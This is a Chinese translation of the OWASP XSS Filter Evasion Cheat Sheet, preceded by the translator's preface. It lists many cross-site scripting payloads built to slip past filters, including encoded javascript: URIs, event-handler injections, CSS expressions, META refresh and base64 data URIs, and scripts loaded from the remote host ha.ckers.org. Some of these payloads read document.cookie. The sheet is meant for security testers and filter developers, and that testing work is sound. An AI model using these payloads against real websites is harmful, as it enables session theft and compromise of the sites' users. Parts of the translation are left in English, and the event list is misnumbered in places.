XSS Filter Evasion Cheat Sheet 中文版

前言


譯者注: 翻譯本文的最初原因是當我自己看到這篇文章後,覺得它是非常有價值。但是這麼著名的一個備忘錄卻一直沒有人把它翻譯成中文版。很多人僅僅是簡單的把文中的各種代碼複製下來,然後看起來很刁的發在各種論壇上,不過你要真去認真研讀這些代碼,就會完全不知所云了。原因是這篇文章最精華的部分是代碼的解釋而非代碼本身。

一方面爲了自己學習,一方面也想讓更多國內的xss愛好者去更方便的閱讀本文。所以雖然我本身英語很爛,xss技術也很爛,但還是去翻譯了這篇文章。當然這也導致最後翻譯出來的文章晦澀難懂、不知所云。這個真心向大家說聲抱歉啊,也希望大家能及時幫忙提出文中的翻譯錯誤或其他錯誤。

另外,在翻譯過程中,我發現XSS Filter Evasion Cheat Sheet原版本身也存在一些技術上的或是描述上的錯誤。不過雖然我知道原文中某些地方可能出錯,但是我也不知道正確的應該是什麼樣的,還有就是或許原文本身是對的,但是我理解錯了。種種原因吧,最後基本上都按原文在翻譯,有些覺得可能存在錯誤的地方或是我理解不了的地方,我就沒有翻譯,繼續使用英文。希望大家可以幫忙給出翻譯或是解釋。

如果大家有能力閱讀英文的話,儘量閱讀原文,即使要看這個翻譯版,也配合英文版一起看。不要讓我的翻譯錯誤誤人子弟啊。最後希望大家可以和我一起解決翻譯中的各種錯誤,把這個中文版維護好。

謝謝

源文檔地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

翻譯文檔在線閱讀:https://www.zybuluo.com/laodao/note/9592

介紹

這篇文章的主要目的是去給應用安全測試者提供一份xss漏洞檢測指南。文章的初始內容由RSnake提供給OWASP,從他的xss備忘錄: http://ha.ckers.org/xss.html 。目前這個網頁已經重定向到我們這裏,我們打算維護和完善它。OWASP的第一個防禦備忘錄項目:the XSS (Cross Site Scripting) Prevention Cheat Sheet靈感來源於RSnake的 XSS Cheat Sheet,所以我們對他給予我們的啓發表示感謝。我們想要去創建短小簡單的參考給開發者去幫助他們預防xss漏洞,而不是創建一個複雜的備忘錄去簡單的告訴他們需要去預防各種千奇百怪的攻擊。所以,OWASP備忘錄系列誕生了。


測試

這個備忘錄主要針對那些已經理解了最基本的xss攻擊,但是想要深入理解各種過濾器繞過的細微差別的學習者。

請注意大部分的xss攻擊向量已經在其代碼下方給出了測試過的瀏覽器列表。


xss 探測器

注入下面這些代碼,在大多數沒有特殊xss向量要求而已遭受腳本攻擊的地方將會彈出單詞“xss”。使用url編碼器去編碼你的整個代碼。小技巧:如果你是急切的需要快去檢測一個頁面,通常只需要注入輕量的 "<任意字符>" 標籤,然後判斷輸出點是否受到干擾就可以判斷是否xss漏洞了。

  1. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  2. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  3. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

xss 探測器2

如果你沒有充足的輸入空間去檢測頁面是否存在xss漏洞。下面這段代碼是一個好的簡潔的xss注入檢測代碼。在注入這段代碼後,查看頁面源代碼尋找是否存在看起來像 <XSS verses <XSS這樣的輸入點從而判斷是否存在xss漏洞。

'';!--"<XSS>=&{()}

無過濾繞過

這是一個常規的xss注入代碼,雖然通常它會被防禦,但是我們建議首先去嘗試它。(引號是不被需要的在任何現代瀏覽器中,因此這裏省略了它。)

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>


通過javascript指令實現的圖片xss

圖片xss依靠javascript指令實現。(IE7.0不支持javascript指令在圖片上下文中,但是可以在其他上下文觸發。下面的例子僅僅展示了一種其他標籤依舊通用的原理。)

<IMG SRC="javascript:alert('XSS');">

無引號無分號

<IMG SRC=javascript:alert('XSS')>

不區分大小寫的xss攻擊向量

<IMG SRC=JaVaScRiPt:alert('XSS')>

html 實體

The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

重音符混淆

如果你的javascript代碼中需要同時使用單引號和雙引號,那麼可以使用重音符(`)來包裹javascript代碼。它也經常會非常有用因爲xss過濾代碼未考慮到這個字符。

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的A標籤

跳過href屬性,而直接獲取xss實質攻擊代碼...提出被David Cross ~ 已驗證在chrome瀏覽器

<a onmouseover="alert(document.cookie)">xxs link</a>

此外,chrome瀏覽器喜歡去不全確實的引號爲你。如果你遇到阻礙那麼直接省略它們吧,chrome將會正確的幫你不全缺失的引號在URL和script中。

<a onmouseover=alert(document.cookie)>xxs link</a>

畸形的IMG標籤

最早被 Begeek發現(可以短小而乾淨的運行於任何瀏覽器),這個xss向量依靠鬆散的渲染引擎解析IMG標籤中被引號包含的字符串來實現。我猜測它最初是爲了正確編碼而造成的。這將使它更加困難的去解釋HTML標籤。

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode

如果沒有任何形式的引號被允許,你可以eval()一串fromCharCode在javascript來創建任何你需要的xss向量。

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

默認SRC屬性去繞過SRC域名檢測過濾器

這將繞過絕大多數SRC域名過濾器。插入javascript代碼在任何一個事件方法同樣適用於熱河一個HTML標籤,例如Form、Iframe、Input、Embed等等。他將也允許任何任何該標籤的相關事件去替換,例如onblur, onclick等,後面我們會附加一個可用的事件列表。由David Cross提供,Abdullah Hussam編輯。

<IMG SRC=# onmouseover="alert('xxs')">

默認SRC屬性通過省略它的值

<IMG SRC= onmouseover="alert('xxs')">

默認SRC屬性通過完全不設置它

<IMG onmouseover="alert('xxs')">

通過error事件觸發alert

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

十進制html編碼引用

所有在使用javascript指令的xss示例將無法工作在 Firefox 或 Netscape 8.1+,因爲它們使用了 Gecko 渲染引擎。使用 XSS Calculator 獲取更多信息。

  1. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
  2. &#39;&#88;&#83;&#83;&#39;&#41;>

結尾沒有分號的十進制html編碼引用

他是經常有用的在繞過尋找"&#XX;"格式的xss過濾,因爲大多數人不知道最多允許7位字符的編碼限制。這也是有用的對那些對字符串解碼像$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認爲一個html編碼需要用;去結束。(我是無意中發現)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

結尾沒有分號的十六進制html編碼引用

這也是一種實用的xss攻擊針對上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認爲數字編碼跟隨在#後面(十六進制htnl編碼並非如此),。使用 XSS Calculator 獲取更多信息。

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

內嵌TAB

用來分開xss攻擊代碼

<IMG SRC="jav   ascript:alert('XSS');">

內嵌被編碼的TAB

用來分開xss攻擊代碼

<IMG SRC="jav&#x09;ascript:alert('XSS');">

內嵌換行符去分開xss代碼

一些網站聲稱09-13編碼的所有字符(十進制)都可以實現這種形式的攻擊。這是不正確的。只有09(tab), 10 (換行) 和 13 (回車)可以使用。查看ascii表爲更詳細的信息。下面四個xss例子展示了這個向量。

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

編碼回車符去分開xss代碼

注意:上面我編寫的三個xss字符串比必須的字符串更長,原因是0可以被省略。通常我看到的過濾器假設十六進制和十進制的編碼是兩到三個字符。正確的應該是一到七個字符。

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

沒有分割的javascript指令

null字符也可以作爲一個xss向量,但是不像上邊那樣。你需要直接注入它們利用一些工具例如Burp Proxy,或是使用 %00 在你的url字符串裏。或者如果你想寫你自己的注入工具你可以使用vim(^V^@ 會生成null),以及用下面的程序去生成它到一個文本文件中。好吧,我再一次撒謊了。 Opera的老版本(大約 7.11 on Windows)是脆弱的對於一個額外的字符173(軟連字符)。但是null字符 %00 是更加的有用或者幫助我們繞過某些真實存在的過濾器用過變動像這個例子中的。

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

圖片元素中javascript之前的空格和元字符爲xss

xss過濾拼配模式沒有考慮單詞"javascript:"中可能存在空格是正確的,因爲否則將無法渲染。但是這也導致了錯誤的假設認爲你不可以有一個空格在引號和 "javascript:" 單詞之間。事實上你可以插入 1-32編碼字符(十進制)中的任何字符。

<IMG SRC=" &#14;  javascript:alert('XSS');">

非字母數字字符xss

Firefox html解析器設定一個非數字字母字符不是有效的在一個html關鍵字後面,因此這些字符會被視爲空白符或是無效的token在html標籤之後。這導致很多xss過濾器錯誤的認爲html標籤必須是被空白符隔斷的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

和上面的原理相同,我們繼續擴大,Gecko渲染引擎允許字母、數字、html封裝字符以外的任何字符位於事件處理器與等號之間。從而藉此繞過xss過濾器。注意這也是適用於重音符如下所示:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit 提示我有一個小區別在 ie和Gecko 渲染引擎之間是他們僅允許一個一個斜槓在html標籤和參數之間,在不使用空格的情況下。這可能是有用的在那些不允許輸入空格的系統中。

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

附加的開括號

Franz Sedlmaier提出,利用這個xss向量可以繞過某些檢測引擎,因爲這些引擎通過拼配最早出現的一對尖括號,並且提取其內部內容作爲標籤,而沒有使用更加有效的算法例如 Boyer-Moore(尋找打開的尖括號以及相關標籤的模糊拼配)。代碼中的雙斜槓可以抑制額外尖括號導致的javascript錯誤。

<<SCRIPT>alert("XSS");//<</SCRIPT>

沒關閉的script標籤

對於使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你並不需要常規xss中"></SCRIPT>"這部分。 Firefox會幫你閉合標籤,並且加入結束標籤。多麼的體貼啊! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. 如果需要,你可以加入引號,但通常他並不是必須的。注意,我並不清楚這個代碼被注入後html代碼會閉合成什麼樣子。

  1. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

script標籤中的協議解析

這個特殊的變體由 Łukasz Pilorz 提出,並且基於上文中 Ozh提出的協議解析繞過。這個xss例子工作在 IE, 使用IE渲染引擎的Netscape 以及加了在結尾的 Opera。這是非常有用的在輸入長度受到限制。域名越短越好。 ".j"是有效的,不需要考慮編碼問題因爲瀏覽拿起可以自動識別在一個script標籤中。

  1. <SCRIPT SRC=//ha.ckers.org/.j>

半開的HTML/JavaScript xss向量

不同於 Firefox ,ie渲染引擎不會加入額外的數據到你的頁面。但是它允許javascript指定在圖片標籤中這是有用的作爲一個xss向量,因爲它不需要一個結束的尖括號。你可以插入這個xss向量在任何html標籤後面。甚至沒有用">"關閉標籤。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". 這也是有效的去對付真實的xss過濾器,我曾經碰見過試用半開的<IFRAME 標籤替代 <IMG 標籤,

<IMG SRC="javascript:alert('XSS')"

雙開尖括號

使用一個開始尖括號(<)在向量結尾代替一個關閉尖括號(>)會有不同的影響在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。

<iframe src=http://ha.ckers.org/scriptlet.html <

轉義javascript中的轉義

當一個應用程序是輸出用戶自定義的信息到javascript代碼中,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript代碼進入它,但是服務器轉義了其中的某些引號,這時你需要通過轉義被轉義的字符來繞過它。從而使最終的輸入代碼類似於<SCRIPT>var a="\";alert('XSS');//";</SCRIPT> 。最終\轉義了雙引號前被服務器添加的\,而雙引號則不會被轉義,從而觸發xss向量。xss定位器使用這個方法。

\";alert('XSS');//

閉合title標籤

這是一個簡單的xss向量,可以引入一個惡意的xss攻擊。 譯者注:titile標籤內部不支持html代碼,所有內容會被自動轉義爲普通字符。

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image

<BODY BACKGROUND="javascript:alert('XSS')">

IMG DYNSRC(視頻剪輯)

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc(低分辨率圖片)

<IMG LOWSRC="javascript:alert('XSS')">

List-style-image

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

List-style-image

爲帶有符號的列表嵌入自定義圖片的符號。它是隻能工作在ie渲染引擎因爲javascript指令。這不是一個特別有用的xss向量。

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (僅適用於老版本的Netscape)

<IMG SRC="livescript:[code][/code]">

BODY 標籤

這個方法不需要使用任何"javascript:" or "<SCRIPT..." 的變體去實現xss攻擊。Dan Crowley特別指出你可以額外的加入一個空格在等號之前("οnlοad=" != "onload ="):

<BODY ONLOAD=alert('XSS')>

事件處理程序

它可以被用於上文中的一些共性xss攻擊(這是最完整的一個實時更新的在線列表)。感謝Rene Ledosquet 的更新。此外你可以參考 Dottoro Web Reference 或是 events in JavaScript.

  1. 1. FSCommand() (攻擊者可以使用它當執行一個嵌入的flash對象時)
  2. 2. onAbort() (當使用者終止一張正在載入的圖片)
  3. 3. onActivate() (當對象被設置爲激活元素)
  4. 4. onAfterPrint() (用戶打印或是預覽打印工作後激活)
  5. 5. onAfterUpdate() (激活在一個數據對象當源對象數據更新後)
  6. 6. onBeforeActivate() (觸發在一個對象被設置爲激活元素)
  7. 7. onBeforeCopy() (攻擊者執行攻擊代碼在一個選區被複制到剪貼板之前-攻擊者可以實現它通過execCommand("Copy")函數。)
  8. 8. onBeforeCut() (攻擊者執行攻擊代碼在在一個選區被剪貼。)
  9. 9. onBeforeDeactivate() (當激活元素被改變後觸發)
  10. 10. onBeforeEditFocus() (觸發在一個可被編輯的元素內的對象就按測到一個 UI-activated狀態或是一個可被編輯對象被選擇之前)
  11. 11. onBeforePaste() (用戶需要被欺騙執行粘貼或是去觸發它通過execCommand("Paste")函數。)
  12. 12. onBeforePrint() (用戶需要被欺騙執行打印或是攻擊者可以使用print()或是execCommand("Print")函數。)
  13. 13. onBeforeUnload() (用戶需要被欺騙關閉瀏覽器-攻擊者不可以 unload windows除非它是被執行從其父窗口。)
  14. 14. onBeforeUpdate() (激活在數據對象在源對象更新數據之後。)
  15. 15. onBegin() (onbegin 事件被立即觸發當元素的聲明週期開始後)
  16. 16. onBlur() (當失去焦點時觸發*)
  17. 17. onBounce() (觸發當選框對象的behavior屬性被設置爲"alternate"或是選框的內容抵達窗口的一邊。)
  18. 18. onCellChange() (觸發當數據改變在數據provider)
  19. 19. onChange() (select, text, or TEXTAREA 字段失去焦點或是它們的值是被改變。)
  20. 20. onClick()(點擊事件)
  21. 21. onContextMenu() (用戶需要右擊在攻擊攻擊區域)
  22. 22. onControlSelect() (當用戶去控制一個選擇對象時觸發。)
  23. 23. onCopy() (用戶需要去copy某些東西或是利用execCommand("Copy")命令)
  24. 24. onCut() (用戶需要copy某些東西或是利用execCommand("Cut") 命令)
  25. 25. onDataAvailable() (用戶改變數據在某個元素上或是攻擊者可以執行相同的函數。)
  26. 26. onDataSetChanged() (當源數據對象被改變時觸發)
  27. 27. onDataSetComplete() (觸發當數據是成功獲取到從數據源對象)
  28. 28. onDblClick() (用戶雙擊某個元素。)
  29. 29. onDeactivate() (噹噹前元素失去激活狀態時觸發)
  30. 30. onDrag() (需要用戶拖動某個對象)
  31. 31. onDragEnd() (需要用戶拖動某個對象)
  32. 32. onDragLeave() (需要用戶拖動某個對象從一個有效的位置。)
  33. 33. onDragEnter() (需要用戶拖動某個對象從一個有效的位置。)
  34. 34. onDragOver() (需要用戶拖動某個對象從一個有效的位置。)
  35. 35. onDragDrop() (用戶拖動某個對象(例如文件)到瀏覽器窗口內。)
  36. 36. onDragStart() (當用戶開始拖動操作時發生。)
  37. 37. onDrop() (用戶拖動某個對象(例如文件)到瀏覽器窗口內。)
  38. 38. onEnd() (當生命週期結束時觸發)
  39. 39. onError() (載入document 或 image發生錯誤時觸發)
  40. 40. onErrorUpdate() (當更新數據源的相關對象時發生錯誤則觸發)
  41. 41. onFilterChange() (當一個濾鏡完成狀態改變時觸發)
  42. 42. onFinish() (移動的Marquee文字完成一次移動時觸發)
  43. 43. onFocus() (當窗口獲得焦點時攻擊者可以執行代碼)
  44. 44. onFocusIn() (當窗口獲得焦點時攻擊者可以執行代碼)
  45. 45. onFocusOut() (當窗口失去焦點時攻擊者可以執行代碼)
  46. 46. onHashChange() (噹噹前地址的hash發生改變時觸發)
  47. 47. onHelp() (當用戶在當前窗口點擊F1時觸發攻擊代碼)
  48. 48. onInput() (可編輯元素中的內容被用戶改變後出發)
  49. 49. onKeyDown() (用戶按下一個鍵)
  50. 50. onKeyPress() (用戶點擊或是按下一個鍵)
  51. 51. onKeyUp() (用戶釋放一個鍵)
  52. 52. onLayoutComplete() (用戶需要去打印或是打印預覽)
  53. 53. onLoad() (攻擊者執行攻擊代碼在窗口載入後)
  54. 54. onLoseCapture() (可以被觸發被releaseCapture() 方法)
  55. 55. onMediaComplete() (當波翻改一個流媒體文件時,這個事件將觸發在文件開始播放前。)
  56. 56. onMediaError() (當用戶打開的頁面包含一個媒體文件,並且發生錯誤時觸發)
  57. 57. onMessage() (當文檔對象接受到一個信息時觸發)
  58. 58. onMouseDown() (攻擊者需要讓用戶去點擊一張圖片。)
  59. 59. onMouseEnter() (光標移入一個對象或是區域)
  60. 60. onMouseLeave() (攻擊者需要讓用戶移動光標進入一個圖片或是表格,接着再次移出)
  61. 61. onMouseMove() (攻擊者需要讓用戶移動鼠標進入一個圖片或是表格上)
  62. 63. onMouseOver() (光標移到一個對象或是區域上)
  63. 64. onMouseUp() (攻擊者需要讓用戶點擊一張圖片)
  64. 65. onMouseWheel() (擁擠着需要讓用戶去使用他們的鼠標滾輪)
  65. 66. onMove() (用戶或攻擊者需要移動頁面)
  66. 67. onMoveEnd() (用戶說攻擊者需要移動頁面)
  67. 68. onMoveStart() (用戶說攻擊者需要移動頁面)
  68. 69. onOffline() (瀏覽器從在線模式轉換到離線模式時發生)
  69. 70. onOnline() (瀏覽器從離線模式轉換到在線模式時發生)
  70. 71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
  71. 72. onPaste() (用戶需要去粘貼或是攻擊者執行execCommand("Paste") 方法)
  72. 73. onPause() (當激活元素時間停頓時觸發,包括body元素)
  73. 74. onPopState() (當用戶返回會話歷史時觸發)
  74. 75. onProgress() (當一個flash動畫載入時觸發)
  75. 76. onPropertyChange() (用戶或攻擊者需要改變一個元素的屬性)
  76. 77. onReadyStateChange() (用戶或攻擊者需要改變一個元素的屬性)
  77. 78. onRedo() (用戶執行再執行操作)
  78. 79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
  79. 80. onReset() (用戶或攻擊者重置表單)
  80. 81. onResize() (用戶調整窗口大小,或是攻擊者自動觸發通過某些代碼例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
  81. 82. onResizeEnd() (用戶調整窗口大小,或是攻擊者自動觸發通過某些代碼例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
  82. 83. onResizeStart() (用戶調整窗口大小,或是攻擊者自動觸發通過某些代碼例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
  83. 84. onResume() (當元素從暫停恢復到激活時觸發,包括body元素)
  84. 85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
  85. 86. onRowsEnter() (用戶或攻擊者需要改變數據源中的一行)
  86. 87. onRowExit() (用戶或攻擊者需要改變數據源中的一行)
  87. 88. onRowDelete() (用戶或攻擊者需要刪除數據源中的一行)
  88. 89. onRowInserted() (用戶或攻擊者需要向數據源中插入一行)
  89. 90. onScroll() (用戶需要滾動,或是攻擊者可以執行scrollBy() 函數)
  90. 91. onSeek() (媒體播放移動到新位置)
  91. 92. onSelect() (用戶需要去選擇一些文本 - 攻擊者可以自動運行利用某些方法例如 window.document.execCommand("SelectAll");)
  92. 93. onSelectionChange() (用戶需要去選擇一些文本 - 攻擊者可以自動運行利用某些方法例如 window.document.execCommand("SelectAll");)
  93. 94. onSelectStart() (用戶需要去選擇一些文本 - 攻擊者可以自動運行利用某些方法例如 window.document.execCommand("SelectAll");)
  94. 95. onStart() (當marquee元素循環開始時觸發)
  95. 96. onStop() (用戶需要點擊停止按鈕或是離開網頁)
  96. 97. onStorage() (存儲區域改變)
  97. 98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
  98. 99. onSubmit() (需要攻擊者或用戶提交表單)
  99. 100. onTimeError() (用戶或攻擊者需要設置一個時間屬性例如 dur 的值爲無效的值)
  100. 101. onTrackChange() (用戶或攻擊者需要改變播放列表的軌跡)
  101. 102. onUndo() (user went backward in undo transaction history)
  102. 103. onUnload() (當用戶點擊一個鏈接或是按下回車鍵或是攻擊者觸發一個點擊事件)
  103. 104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
  104. 105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND(背景音樂)

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript 包含

<BR SIZE="&{alert('XSS')}">

樣式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

遠程樣式表

(通過某些方式例如最簡單的遠程樣式表,你可以插入一個樣式參數爲嵌入表達式的xss代碼)。它是僅僅工作在IE瀏覽器或是使用了IE渲染引擎的Netscape 8.1+。需要注意的是頁面中並沒有展現出它包含了javascript代碼。注意:所有的遠程樣式表示例需要至少用到body標籤,負責將無法工作除非頁面中包含除了向量本身的其他內容。因此你需要添加至少一個字母到頁面確保他可以工作如果它是一個空白頁面。

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

遠程樣式表2

他的工作原理與上面相同。但是使用了STYLE標籤代替LINK標籤。榆次向量稍有不同的變異被用於攻擊Google Desktop。你可以移除</STYLE>標籤當後面的html去閉合它。這個向量是有用的在不允許輸入等號或是反斜槓的實際環境中。

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

遠程樣式表3

它僅僅可以工作在 Opera 8.0 (no longer in 9.x) ,但是是非常的狡猾。 Opera 8.0 (no longer in 9.x) 。根據RFC2616規定,設置一個連接頭不是 HTTP1.1 規定的一部分,但是很多瀏覽器仍然允許它(例如Firefox and Opera)。這個技巧是我們可以設置一個http頭(與常規http頭沒有什麼不同,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。這樣帶有xss代碼的遠程向量將運行javascript。他並不被支持在 FireFox。

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

遠程樣式表4

它是僅僅工作在 Gecko 渲染引擎。並且需要綁定一個 XUL文件在頁面。令人諷刺的是Netscape認爲Gecko是更加安全的,因此絕大多是網站會受到這個攻擊。

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

分隔javascript在STYLE標籤

這個xss在ie瀏覽器中會造成無線循環

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE屬性中使用註釋去分隔表達式

提出被 Roman Ivanov

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

IMG樣式的表達式

這是上面xss向量的混合體。但是它是展示了STYLE標籤被分隔有多困難。同樣它也會在ie下造成循環彈窗。

  1. exp/*<A STYLE='no\xss:noxss("*//*");
  2. xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE標籤(僅支持老版本的Netscape)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

使用background-image的style標籤

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>

使用background的style標籤

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

匿名html標籤的屬性

IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 並不會關心你建立的html標籤存在與否。只要它是以尖括號以及字符開始的。

<XSS STYLE="xss:expression(alert('XSS'))">

本地 htc 文件

它有一個小的不同與上面的xss向量,因爲他使用的 htc 文件必須是當前域的文件。這個文件通過樣式屬性引入並運行javascript代碼實現xss。

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII編碼

US-ASCII 編碼 (發現被 Kurt Huwig)。它是使用畸形的ASCII 編碼用7bits代替8bits. 這個xss可以繞過絕大多數內容過濾,但是必須當前域的傳輸形式爲 US-ASCII編碼方式。或者你自己去設置這種編碼方式 。它是有用的去繞過web應用防火牆xss過濾比服務器端的過濾。Apache的 Tomcat是衆所周知的 使用US-ASCII編碼傳輸協議。

¼script¾alert(¢XSS¢)¼/script¾

META

關於meta refresh比較奇怪的是他並不是發送一個刷新請求頭。因此他通常用於不需要引用url的攻擊。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data

URL指令方案,它是非常的不錯因爲贏沒有明顯的SCRIPT單詞或是JavaScript 指令出現,因爲它使用了base64 編碼。請查看 RFC 2397瞭解更多信息或是編碼你的代碼。你也可以使用 XSS calculator去編碼你的html或是javascript代碼到base64位。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

額外url參數的META

如果當前網頁試圖去查找URL參數是否以"http://" 開始,你可以用下列技術繞過(被 Moritz Naumann提出)

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME

如果一個iframes被允許,那麼同時可能會存在大量其他xss問題

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME 基於事件

IFrames或其他元素可以使用事件如下(提出被 David Cross)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

Frames有一些列相同的問題像 iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

TD

像上面一樣,TD也可以通過 BACKGROUND 來包含javascript xss向量

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

使用 unicoded編碼xss利用代碼的DIV background-image

這是被輕微的修改去混淆 url 參數。他是最早被發現被 Renaud Lifchitz用於攻擊hotmail。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

附加額外字符的DIV background-image

Rnaske開發了一個XSS fuzzer去探測可以在開括號和javascript之間加入哪些額外字符在 IE和安全模式下的 Netscape 8.1。都是一些十進制的字符,但是你也可以用十六進制來填充。(下面這些編碼字符可以被使用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279)

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

DIV expression

它的一個變體是更加有效的去繞過實際的xss過濾器是在冒號和表達式之間添加換行符。

<DIV STYLE="width: expression(alert('XSS'));">

html條件選擇註釋塊

只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些網站認爲任何包裹在註釋中的內容都是安全的,因此並不會被移除。這將允許我們的xss向量。或者系統可能通過添加註釋對某些內容去試圖無害的渲染它。如我們所見,這有時並不起作用。

  1. <!--[if gte IE 4]>
  2. <SCRIPT>alert('XSS');</SCRIPT>
  3. <![endif]-->

BASE標籤

工作ie或是使用了安全模塊的Netscape 8.1,你需要使用 "//" 斜體文本去避免javascript錯誤。這需要當前網站使用相對路徑(例如images/image.jpg)而不是絕對路徑。如果路徑開始用一個斜槓(例如"/images/image.jpg"),你需要去掉xss向量中的一個斜槓(只有在兩個斜槓的情況下才會起到註釋作用)

<BASE HREF="javascript:alert('XSS');//">

OBJECT標籤

如果允許objects標籤,你也可以注入病毒payloads去感染用戶。類似於APPLET標籤。這個鏈接文件是一個包含xss代碼的html文件。

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

使用一個你可以載入包含有xss代碼的flash文件的 EMBED 標籤

點擊這個demo,如果你加入屬性allowScriptAccess="never" and allownetworking="internal"他可以緩解這個風險(謝謝Jonathan Vanasco 的這個信息)

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

使用在flash中的ActionScript可以混淆你的xss向量

